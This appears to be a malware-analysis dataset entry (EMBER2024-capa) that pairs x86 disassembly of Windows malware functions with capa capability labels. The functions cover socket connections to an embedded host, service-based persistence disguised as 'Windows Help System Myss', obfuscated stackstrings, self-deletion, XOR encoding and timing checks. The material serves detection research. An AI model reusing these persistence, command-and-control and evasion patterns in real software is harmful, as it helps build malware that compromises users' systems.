joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402fd5
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
lea eax, [ebp + 0xc]
push 4
push eax
push 8
push 0xffff
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x40309f
push ebx
push esi
push edi
push 9
push 6
mov edi, str._ni_d__j_d_n
pop ebx
push ebx
push edi
call fcn.00408453
push 0x12
mov esi, str._nx_d__y_d_n
push ebx
push esi
call fcn.00408453
push 9
push ebx
push edi
call fcn.00408453
push 0x12
push ebx
push esi
call fcn.00408453
push 9
push ebx
push edi
mov dword [ebp - 0xc], 1
call fcn.00408453
push 0x12
push ebx
push esi
call fcn.00408453
add esp, 0x48
mov dword [ebp - 8], 0x2bf20
push 9
push ebx
push edi
call fcn.00408453
push 0x12
push ebx
push esi
call fcn.00408453
push 9
push ebx
push edi
mov dword [ebp - 4], 0x2710
call fcn.00408453
push 0x12
push ebx
push esi
call fcn.00408453
add esp, 0x30
xor eax, eax
lea ecx, [ebp + 0xc]
push eax
push eax
push ecx
push eax
push eax
lea eax, [ebp - 0xc]
push 0xc
push eax
push 0x98000004
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_WSAIoctl]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4037ab
Capabilities:
Get cpu information
Query or enumerate registry value

Disassembly:
sub esp, 0x10
push ebx
push ebp
push esi
push edi
push 9
push 6
pop ebx
mov edi, str._ni_d__j_d_n
push ebx
push edi
call fcn.00408453
push 0x12
mov esi, str._nx_d__y_d_n
push ebx
push esi
call fcn.00408453
push 9
push ebx
push edi
call fcn.00408453
push 0x12
push ebx
push esi
call fcn.00408453
push 4
pop ebp
push 9
push ebx
push edi
mov dword [esp + 0x50], ebp
call fcn.00408453
push 0x12
push ebx
push esi
call fcn.00408453
add esp, 0x48
mov dword [esp + 0x18], ebp
push 9
push ebx
push edi
call fcn.00408453
push 0x12
push ebx
push esi
call fcn.00408453
add esp, 0x18
lea eax, [esp + 0x10]
push eax
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
push 9
push ebx
push edi
call fcn.00408453
push 0x12
push ebx
push esi
call fcn.00408453
add esp, 0x18
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x20]
push eax
push 0
push str.MHz
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push 9
push ebx
push edi
call fcn.00408453
push 0x12
push ebx
push esi
call fcn.00408453
add esp, 0x18
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x1c]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
Function at 0x4046a2
Capabilities:
Delete file
Get common file path
Move file

Disassembly:
sub esp, 0x30c
push ebx
push ebp
push esi
push edi
push 9
push 6
pop ebx
mov edi, str._ni_d__j_d_n
push ebx
push edi
call fcn.00408453
push 0x12
mov esi, str._nx_d__y_d_n
push ebx
push esi
call fcn.00408453
mov ebp, 0x104
lea eax, [esp + 0x28]
push ebp
push 0
push eax
call fcn.00408310
push 9
push ebx
push edi
call fcn.00408453
push 0x12
push ebx
push esi
call fcn.00408453
add esp, 0x3c
lea eax, [esp + 0x10]
push ebp
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push 9
push ebx
push edi
call fcn.00408453
push 0x12
push ebx
push esi
call fcn.00408453
push 9
push ebx
push edi
call fcn.00408453
push 0x12
push ebx
push esi
call fcn.00408453
add esp, 0x30
lea eax, [esp + 0x218]
push eax
push ebp
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
push 9
push ebx
push edi
call fcn.00408453
push 0x12
push ebx
push esi
call fcn.00408453
add esp, 0x18
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
lea eax, [eax + eax*2]
shl eax, 2
push eax
lea eax, [esp + 0x21c]
push eax
lea eax, [esp + 0x11c]
push str._s_x
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push 9
push ebx
push edi
call fcn.00408453
push 0x12
push ebx
push esi
call fcn.00408453
add esp, 0x28
lea eax, [esp + 0x114]
push eax
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.DLL_MoveFileA]
test eax, eax
je 0x4047cb
push 9
push ebx
push edi
call fcn.00408453
push 0x12
push ebx
push esi
call fcn.00408453
add esp, 0x18
lea eax, [esp + 0x114]
push 4
push 0
push eax
call dword [sym.imp.KERNEL32.DLL_MoveFileExA]
push 1
pop eax
jmp 0x4047dc
push 4
lea eax, [esp + 0x14]
push 0
push eax
call dword [sym.imp.KERNEL32.DLL_MoveFileExA]
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x30c
ret
Function at 0x404945
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
mov eax, 0x411e4f
call fcn.00408998
sub esp, 0x2ec
push ebx
push esi
lea eax, [ebp - 0x1c]
push edi
push eax
lea ecx, [ebp - 0x2f8]
mov byte [ebp - 0x1c], 0x2b
mov byte [ebp - 0x1b], 0x7e
mov byte [ebp - 0x1a], 0x15
mov byte [ebp - 0x19], 0x15
mov byte [ebp - 0x18], 0x28
mov byte [ebp - 0x17], 0xae
mov byte [ebp - 0x16], 0xd2
mov byte [ebp - 0x15], 0xa6
mov byte [ebp - 0x14], 0xab
mov byte [ebp - 0x13], 0xf8
mov byte [ebp - 0x12], 0x17
mov byte [ebp - 0x11], 0x88
mov byte [ebp - 0x10], 7
mov byte [ebp - 0xf], 0xcf
mov byte [ebp - 0xe], 0x4f
mov byte [ebp - 0xd], 0x3c
call fcn.00401000
and dword [ebp - 4], 0
lea eax, [ebp - 0x44]
push eax
push str.5A40ABC30BE4A09636E2D9AB854CA20AE8F512
lea ecx, [ebp - 0x2f8]
call fcn.00401ce0
push 9
push 6
pop ebx
mov edi, str._ni_d__j_d_n
push ebx
push edi
mov word [ebp - 0x30], 2
call fcn.00408453
push 0x12
mov esi, str._nx_d__y_d_n
push ebx
push esi
call fcn.00408453
mov ax, word [0x41425c]
add esp, 0x18
push eax
call dword [sym.imp.WS2_32.dll_htons]
push 9
push ebx
push edi
mov word [ebp - 0x2e], ax
call fcn.00408453
push 0x12
push ebx
push esi
call fcn.00408453
lea eax, [ebp - 0x44]
push eax
call fcn.004024ff
push 9
push ebx
push edi
mov dword [ebp - 0x2c], eax
call fcn.00408453
push 0x12
push ebx
push esi
call fcn.00408453
add esp, 0x34
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
push 9
push ebx
push edi
mov dword [ebp - 0x20], eax
call fcn.00408453
push 0x12
push ebx
push esi
call fcn.00408453
add esp, 0x18
lea eax, [ebp - 0x30]
push 0x10
push eax
push dword [ebp - 0x20]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x404a71
push dword [ebp - 0x20]
call dword [sym.imp.WS2_32.dll_closesocket]
or esi, 0xffffffff
jmp 0x404a89
push 9
push ebx
push edi
call fcn.00408453
push 0x12
push ebx
push esi
call fcn.00408453
mov esi, dword [ebp - 0x20]
add esp, 0x18
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2f8]
call fcn.00401cd9
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x404fcf
Capabilities:
Send data
Send data on socket

Disassembly:
sub esp, 0x4e8
cmp dword [0x41858c], 1
jne 0x404fe6
push 0
call dword [sym.imp.KERNEL32.DLL_ExitThread]
push ebx
push ebp
push esi
push edi
push 9
push 6
pop ebp
mov ebx, str._ni_d__j_d_n
push ebp
push ebx
call fcn.00408453
push 0x12
mov esi, str._nx_d__y_d_n
push ebp
push esi
call fcn.00408453
and dword [esp + 0x28], 0
push 9
push ebp
push ebx
call fcn.00408453
push 0x12
push ebp
push esi
call fcn.00408453
add esp, 0x30
lea eax, [esp + 0x10]
mov ecx, 0x418528
push eax
call fcn.00407c20
push 9
push ebp
push ebx
call fcn.00408453
push 0x12
push ebp
push esi
call fcn.00408453
fldz
xor eax, eax
lea edi, [esp + 0x3c]
fstp qword [esp + 0x34]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 9
pop edi
push edi
push ebp
push ebx
call fcn.00408453
push 0x12
push ebp
push esi
call fcn.00408453
add esp, 0x30
lea eax, [esp + 0x1c]
mov ecx, 0x418528
push 0
push eax
call fcn.00407773
push edi
push ebp
push ebx
call fcn.00408453
push 0x12
push ebp
push esi
call fcn.00408453
fld qword [esp + 0x34]
add esp, 0x18
call fcn.00408af4
and dword [esp + 0x18], 0
push eax
mov eax, dword [esp + 0x14]
push ecx
mov dword [esp + 0x1c], eax
push ecx
fild qword [esp + 0x20]
fmul qword [0x412228]
fstp qword [esp]
push str._.fKb_bps_d__
lea eax, [esp + 0x108]
push eax
call fcn.004082b3
push edi
push ebp
push ebx
call fcn.00408453
push 0x12
push ebp
push esi
call fcn.00408453
push edi
push ebp
push ebx
call fcn.00408453
push 0x12
push ebp
push esi
call fcn.00408453
add esp, 0x44
mov dword [esp + 0x2c], 0xa
push edi
push ebp
push ebx
call fcn.00408453
push 0x12
push ebp
push esi
call fcn.00408453
lea eax, [esp + 0x110]
push eax
lea eax, [esp + 0x50]
push eax
call fcn.00408bd0
push edi
push ebp
push ebx
call fcn.00408453
push 0x12
push ebp
push esi
call fcn.00408453
add esp, 0x38
lea eax, [esp + 0x2c]
push 0
push 0x18
push eax
push dword [0x418574]
call dword [sym.imp.WS2_32.dll_send]
push 0x7d0
call dword [sym.imp.KERNEL32.DLL_Sleep]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x4e8
ret

Function at 0x40578b
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov ax, word [0x418568]
push esi
push eax
mov word [ebp - 0x10], 2
call dword [sym.imp.WS2_32.dll_htons]
push 0x418554
mov word [ebp - 0xe], ax
call fcn.0040260a
pop ecx
mov dword [ebp - 0xc], eax
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
lea eax, [ebp - 0x10]
push 0x10
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x4057e3
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
or eax, 0xffffffff
jmp 0x4057e5
mov eax, esi
pop esi
leave
ret
Function at 0x4066b8
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push str.5A9F769FF57B7E1E994A964B211C5F1980FC12
push 0x414100
call fcn.00408f00
pop ecx
cmp eax, 1
pop ecx
jne 0x4066f1
push 0xbb8
call dword [sym.imp.KERNEL32.DLL_Sleep]
push str.shutdown__s__t_5
call fcn.00408e60
pop ecx
push 0
call fcn.00408d6d
push esi
push edi
call fcn.0040679f
push 9
mov edi, str._ni_d__j_d_n
test eax, eax
push 6
push edi
je 0x406753
call fcn.00408453
push 0x12
mov esi, str._nx_d__y_d_n
push 6
push esi
call fcn.00408453
and dword [ebp - 8], 0
and dword [ebp - 4], 0
push 9
push 6
push edi
mov dword [ebp - 0x10], str.Windows_Help_System_Myss
mov dword [ebp - 0xc], 0x4061ea
call fcn.00408453
push 0x12
push 6
push esi
call fcn.00408453
add esp, 0x30
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
jmp 0x406797
call fcn.00408453
push 0x12
mov esi, str._nx_d__y_d_n
push 6
push esi
call fcn.00408453
push str.Windows_Help_System_for_X32_windows_desktop_Myss
push str.WinHelp32_Myss
push str.Windows_Help_System_Myss
call fcn.00406903
push 9
push 6
push edi
call fcn.00408453
push 0x12
push 6
push esi
call fcn.00408453
add esp, 0x3c
call fcn.004046a2
pop edi
xor eax, eax
pop esi
leave
ret 0x10
Function at 0x40679f
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
and byte [ebp - 0x12c], 0
push ebx
push esi
push edi
push pe_nt_image_headers32
xor eax, eax
pop ecx
lea edi, [ebp - 0x12b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 9
push 6
stosb byte es:[edi], al
pop ebx
mov edi, str._ni_d__j_d_n
push ebx
push edi
call fcn.00408453
push 0x12
mov esi, str._nx_d__y_d_n
push ebx
push esi
call fcn.00408453
and byte [ebp - 2], 0
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x12c]
push eax
mov byte [ebp - 0x24], 0x53
mov byte [ebp - 0x23], 0x59
mov byte [ebp - 0x22], 0x53
mov byte [ebp - 0x21], 0x54
mov byte [ebp - 0x20], 0x45
mov byte [ebp - 0x1f], 0x4d
mov byte [ebp - 0x1e], 0x5c
mov byte [ebp - 0x1d], 0x43
mov byte [ebp - 0x1c], 0x75
mov byte [ebp - 0x1b], 0x72
mov byte [ebp - 0x1a], 0x72
mov byte [ebp - 0x19], 0x65
mov byte [ebp - 0x18], 0x6e
mov byte [ebp - 0x17], 0x74
mov byte [ebp - 0x16], 0x43
mov byte [ebp - 0x15], 0x6f
mov byte [ebp - 0x14], 0x6e
mov byte [ebp - 0x13], 0x74
mov byte [ebp - 0x12], 0x72
mov byte [ebp - 0x11], 0x6f
mov byte [ebp - 0x10], 0x6c
mov byte [ebp - 0xf], 0x53
mov byte [ebp - 0xe], 0x65
mov byte [ebp - 0xd], 0x74
mov byte [ebp - 0xc], 0x5c
mov byte [ebp - 0xb], 0x53
mov byte [ebp - 0xa], 0x65
mov byte [ebp - 9], 0x72
mov byte [ebp - 8], 0x76
mov byte [ebp - 7], 0x69
mov byte [ebp - 6], 0x63
mov byte [ebp - 5], 0x65
mov byte [ebp - 4], 0x73
mov byte [ebp - 3], 0x5c
call fcn.00408bd0
push 9
push ebx
push edi
call fcn.00408453
push 0x12
push ebx
push esi
call fcn.00408453
lea eax, [ebp - 0x12c]
push str.Windows_Help_System_Myss
push eax
call fcn.00408be0
add esp, 0x40
push 9
push ebx
push edi
call fcn.00408453
push 0x12
push ebx
push esi
call fcn.00408453
add esp, 0x18
lea eax, [ebp - 0x28]
push eax
push 0xf003f
lea eax, [ebp - 0x12c]
push 0
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4068fc
push dword [ebp - 0x28]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 9
push ebx
push edi
call fcn.00408453
push 0x12
push ebx
push esi
call fcn.00408453
add esp, 0x18
push 1
pop eax
jmp 0x4068fe
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x407c20
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x36c
push ebx
push esi
push edi
lea eax, [ebp - 0xc]
xor ebx, ebx
push 1
mov edi, ecx
xor esi, esi
push eax
push ebx
mov dword [ebp - 0x10], edi
mov dword [ebp - 4], esi
mov dword [ebp - 0xc], ebx
call sub.iphlpapi.dll_GetIfTable
cmp eax, 0x32
je 0x407c6f
cmp eax, 0x7a
jne 0x407c5f
push dword [ebp - 0xc]
call fcn.00409031
pop ecx
mov dword [ebp - 4], eax
mov esi, eax
lea eax, [ebp - 0xc]
push 1
push eax
push esi
call sub.iphlpapi.dll_GetIfTable
test eax, eax
je 0x407c76
xor al, al
jmp 0x407d40
xor edx, edx
xor eax, eax
cmp dword [esi], ebx
jbe 0x407cc4
add esi, 4
mov dword [ebp - 8], esi
mov esi, dword [ebp - 8]
mov ecx, 0xd7
lea edi, [ebp - 0x36c]
add dword [ebp - 8], 0x35c
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp - 0x144]
mov esi, dword [ebp - 0x12c]
mov dword [eax*4 + 0x4185b8], ecx
add edx, ecx
mov ecx, dword [ebp - 4]
mov dword [eax*4 + 0x4185cc], esi
add ebx, esi
inc eax
cmp eax, dword [ecx]
jb 0x407c84
mov edi, dword [ebp - 0x10]
mov ecx, dword [0x4185a8]
mov esi, dword [0x4185ac]
mov eax, edx
sub eax, ecx
mov dword [0x4185b0], eax
mov eax, ebx
sub eax, esi
test ecx, ecx
mov dword [0x4185b4], eax
ja 0x407ced
and dword [0x4185b0], 0
test esi, esi
ja 0x407cf8
xor eax, eax
mov dword [0x4185b4], eax
mov esi, dword [ebp + 8]
mov dword [0x4185a8], edx
mov dword [0x4185ac], ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_GetTickCount]
mov dword [esi], eax
cmp dword [edi + 0x24], 0
je 0x407d1b
and dword [edi + 0x24], 0
jmp 0x407d30
call ebx
mov ecx, eax
mov eax, dword [esi]
sub ecx, dword [edi + 0x20]
imul eax, eax, 0x3e8
xor edx, edx
div ecx
mov dword [esi], eax
call ebx
push dword [ebp - 4]
mov dword [edi + 0x20], eax
call fcn.00408205
pop ecx
mov al, 1
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x40b5a9
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40b5c9
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
call fcn.0040f5f7
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x40b5ea
test byte [esp + 8], 2
je 0x40b5ea
mov dword [0x418608], 0xd
mov dword [0x41860c], 5
jmp 0x40b5c5
xor eax, eax
ret
Function at 0x40bac4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 8], edx
mov dword [ebp - 4], ecx
lea eax, [edi + 1]
push eax
push 0x40
call dword [0x40d00c]
mov esi, eax
xor ebx, ebx
mov byte [esi + edi], bl
test edi, edi
je 0x40bb18
sub dword [ebp - 4], esi
push dword [ebp - 8]
call dword [0x40d008]
mov ecx, eax
xor edx, edx
mov eax, ebx
div ecx
mov eax, dword [ebp - 8]
mov cl, byte [edx + eax]
lea edx, [ebx + esi]
mov eax, dword [ebp - 4]
mov al, byte [eax + edx]
xor al, cl
inc ebx
mov byte [edx], al
cmp ebx, edi
jb 0x40baef
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x2c11050
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x2c43064]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [sym.imp.USER32.dll_LoadStringW]
push edi
mov edi, dword [ebp + 8]
push 0x64
push 0x3035230
push 0x67
push edi
call esi
push 0x64
push 0x3035168
push 0x6d
push edi
call esi
mov esi, dword [sym.imp.USER32.dll_LoadIconW]
push 0x6b
push edi
mov dword [ebp - 0x34], 0x30
mov dword [ebp - 0x30], 3
mov dword [ebp - 0x2c], 0x2c11150
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], edi
call esi
push 0x7f00
push 0
mov dword [ebp - 0x1c], eax
call dword [sym.imp.USER32.dll_LoadCursorW]
push 0x6c
push dword [ebp - 0x20]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], 6
mov dword [ebp - 0x10], 0x6d
mov dword [ebp - 0xc], 0x3035168
call esi
mov dword [ebp - 8], eax
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.USER32.dll_RegisterClassExW]
push 0
push edi
push 0
push 0
push 0
push 0x80000000
push 0
push 0x80000000
push 0xcf0000
push 0x3035230
push 0x3035168
push 0
mov dword [0x3035160], edi
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov esi, eax
test esi, esi
jne 0x2c1113a
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.02c1a2be
mov esp, ebp
pop ebp
ret 0x10
push 0
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
call dword [sym.imp.USER32.dll_UpdateWindow]
call fcn.02c161b0
int3
Function at 0x2c161b0
Capabilities:
Create process on windows
Get comspec environment variable
Get file attributes
Query environment variable
Self delete
Set file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
call fcn.02c15ec0
push 0x1b58
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.02c12240
test eax, eax
jne 0x2c161e1
call fcn.02c12a70
test eax, eax
jne 0x2c161e1
call fcn.02c147b0
test eax, eax
je 0x2c161f8
call fcn.02c157a0
test eax, eax
je 0x2c161f8
call fcn.02c14f80
test eax, eax
je 0x2c161f8
call fcn.02c15b00
jmp fcn.02c14db0
Function at 0x2c16760
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [esp + 0xc], edi
test eax, eax
jg 0x2c16792
jl 0x2c16785
test ecx, ecx
jne 0x2c16792
xor eax, eax
xor edx, edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
cmp dword [ebx + 0x38], 0
je 0x2c16852
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], eax
mov ecx, ebx
call fcn.02c17dd0
mov esi, eax
mov eax, edx
mov dword [esp + 0x14], eax
test eax, eax
jl 0x2c167fe
jg 0x2c167bd
test esi, esi
je 0x2c167fe
mov ecx, dword [esp + 0xc]
cmp ecx, eax
jg 0x2c167d5
mov eax, dword [esp + 0x10]
jl 0x2c167cf
cmp eax, esi
jae 0x2c167d5
mov esi, eax
mov dword [esp + 0x14], ecx
mov eax, dword [ebx + 0x1c]
push esi
push dword [eax]
push edi
call fcn.02c1b700
mov eax, dword [ebx + 0x2c]
add esp, 0xc
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
sub ecx, esi
sbb edx, dword [esp + 0x14]
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
jmp 0x2c1681f
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0x1c]
mov edx, dword [esp + 0xc]
cmp eax, 0xffffffff
je 0x2c1683b
mov ecx, dword [esp + 0x10]
mov esi, 1
add ecx, 0xffffffff
mov byte [edi], al
adc edx, 0xffffffff
add edi, esi
mov dword [esp + 0xc], edx
mov dword [esp + 0x10], ecx
test edx, edx
jg 0x2c167a4
jl 0x2c1683b
test ecx, ecx
jne 0x2c167a4
mov eax, dword [ebp + 0xc]
sub eax, dword [esp + 0x10]
mov ecx, dword [ebp + 0x10]
sbb ecx, edx
mov edx, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x1c]
lea esi, [ebx + 0x2c]
mov edi, ecx
mov edx, dword [eax]
test edx, edx
je 0x2c16896
mov eax, dword [esi]
mov eax, dword [eax]
test eax, eax
je 0x2c16896
mov edi, dword [esp + 0xc]
cmp eax, ecx
mov esi, ecx
cmovb esi, eax
push esi
push edx
push edi
call fcn.02c1b700
mov eax, dword [ebx + 0x2c]
add edi, esi
mov dword [esp + 0x18], edi
add esp, 0xc
mov edi, dword [ebp + 0xc]
sub edi, esi
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
lea esi, [ebx + 0x2c]
cmp dword [ebx + 0x4c], 0
je 0x2c16907
mov ecx, dword [ebx + 0xc]
lea eax, [ebx + 0x3c]
cmp dword [ecx], eax
jne 0x2c168bc
mov eax, dword [ebx + 0xc]
mov edx, dword [ebx + 0x54]
mov ecx, dword [ebx + 0x50]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi]
mov dword [eax], edx
mov esi, dword [esp + 0xc]
cmp edi, 0xfff
jbe 0x2c168f2
nop dword [eax + eax]
push dword [ebx + 0x4c]
push 0xfff
push 1
push esi
call fcn.02c2083f
add esp, 0x10
add esi, eax
sub edi, eax
cmp eax, 0xfff
jne 0x2c16907
cmp edi, eax
ja 0x2c168d0
test edi, edi
je 0x2c16907
push dword [ebx + 0x4c]
push edi
push 1
push esi
call fcn.02c2083f
add esp, 0x10
sub edi, eax
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
sub eax, edi
pop edi
pop esi
sbb edx, 0
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x2c17c60
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x2c33d80
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x2c43064]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, ecx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x18], eax
push 8
mov dword [ebp - 0x18], eax
mov dword [eax], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.02c1a4ce
mov esi, eax
xorps xmm0, xmm0
movq qword [esi], xmm0
push 1
mov dword [ebp - 4], 0
call fcn.02c199af
mov dword [esi + 4], eax
add esp, 8
mov eax, dword [ebp - 0x10]
lea ecx, [eax + 0x18]
lea edx, [eax + 0x24]
lea edi, [eax + 0x14]
mov dword [eax + 0x34], esi
lea ebx, [eax + 4]
mov dword [eax + 0xc], ebx
lea esi, [eax + 8]
mov dword [eax + 0x20], ecx
mov dword [eax + 0x2c], edx
mov dword [eax + 0x10], esi
mov dword [eax + 0x1c], edi
add eax, 0x28
mov dword [ebp - 0x14], ebx
mov ebx, dword [ebp - 0x10]
mov dword [ebp - 0x18], eax
mov dword [ebx + 0x30], eax
mov ebx, dword [ebp - 0x14]
mov dword [esi], 0
mov dword [ecx], 0
mov dword [eax], 0
mov eax, dword [ebp - 0x10]
mov dword [ebx], 0
mov ebx, dword [ebp - 0x10]
mov dword [edi], 0
mov dword [edx], 0
mov dword [eax + 0x20], ecx
mov dword [ebx], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [ebx + 0x48], 0
mov byte [ebx + 0x3d], 0
mov ebx, dword [ebp - 0x14]
mov dword [eax + 0xc], ebx
mov ebx, dword [ebp - 0x10]
mov dword [eax + 0x2c], edx
mov dword [eax + 0x10], esi
mov dword [eax + 0x1c], edi
mov eax, dword [ebp - 0x18]
mov dword [ebx + 0x30], eax
mov ebx, dword [ebp - 0x14]
mov dword [esi], 0
mov dword [ecx], 0
mov ecx, dword [0x3035300]
mov dword [eax], 0
mov eax, dword [ebp - 0x10]
mov dword [ebx], 0
mov dword [edi], 0
mov dword [edx], 0
mov edx, dword [0x3035304]
mov dword [eax + 0x4c], 0
mov dword [eax + 0x40], ecx
mov dword [eax + 0x44], edx
mov dword [eax + 0x38], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x2c1aecd
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x2c1af0c
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x2c1af0c
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x2c1af0c
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x2c1af0c
cmp dword [ecx + 0x74], 0xe
jbe 0x2c1af0c
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret